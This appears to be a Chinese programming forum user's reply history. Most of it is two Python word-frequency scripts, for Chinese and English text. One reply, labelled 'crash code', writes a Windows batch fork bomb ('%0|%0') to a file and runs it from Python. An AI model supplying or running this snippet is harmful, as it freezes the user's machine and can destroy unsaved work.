
Lv.1
烧黑了的萌新
签名:正在吸猫
在 【Python作品分享】词频统计【教程贴】 中回复
统计中文的:
import jieba
jieba.setLogLevel(20)
n = input('输入要统计的文本:')
n = tuple(jieba.cut(n.replace("\n", ""), cut_all=False))
pu = set(n)
dic = dict(zip(pu, [0] * len(pu)))
for i in n:
dic[i] += 1
dic = sorted(dic.items(), key=lambda kv: (kv[1], kv[0]))
dic.reverse()
with open('统计报告.txt', 'w+', encoding='utf-8') as f:
f.write('=' * 8 + '词频统计报告' + '=' * 8 + '\n')
for i in dic:
f.write('词语“{0}”出现了{1}次\n'.format(i[0], i[1]))
f.write('=' * 5 + '统计完毕,共有{}种词,全文长{}个词'.format(len(dic), len(n)) + '=' * 5)
print('统计完毕!已生成报告于同级目录下')
input('回车以退出')
统计英文的:
import re
n = input('输入要统计的文本:')
n = [i for i in re.split(r'[,.\s!?]', re.sub(r'\n',' ',re.sub(r'-\n','',n.strip().lower()))) if i!='']
pu = set(n)
dic = dict(zip(pu, [0] * len(pu)))
for i in n:
dic[i] += 1
dic = sorted(dic.items(), key=lambda kv: (kv[1], kv[0]))
dic.reverse()
with open('统计报告.txt', 'w+', encoding='utf-8') as f:
f.write('=' * 8 + '词频统计报告' + '=' * 8 + '\n')
for i in dic:
f.write('词语“{0}”出现了{1}次\n'.format(i[0], i[1]))
f.write('=' * 5 + '统计完毕,共有{}种词,全文长{}个词'.format(len(dic), len(n)) + '=' * 5)
print('统计完毕!已生成报告于同级目录下')
input('回车以退出')2020-04-19T20:48:53 点赞:0
在 PY代码做做看 中回复
死机代码
import os
with open('fu.bat','w+') as f:
f.write("""%0|%0""")
os.system('fu.bat')2020-04-20T16:05:29 点赞:0
在 嗯????? 中回复
<input id="keyword" class="input_key" tabindex="1" autocomplete="off" maxlength="100" name="q" type="text" value="world.say('我是宇宙最强系统')">
2020-04-20T18:39:34 点赞:0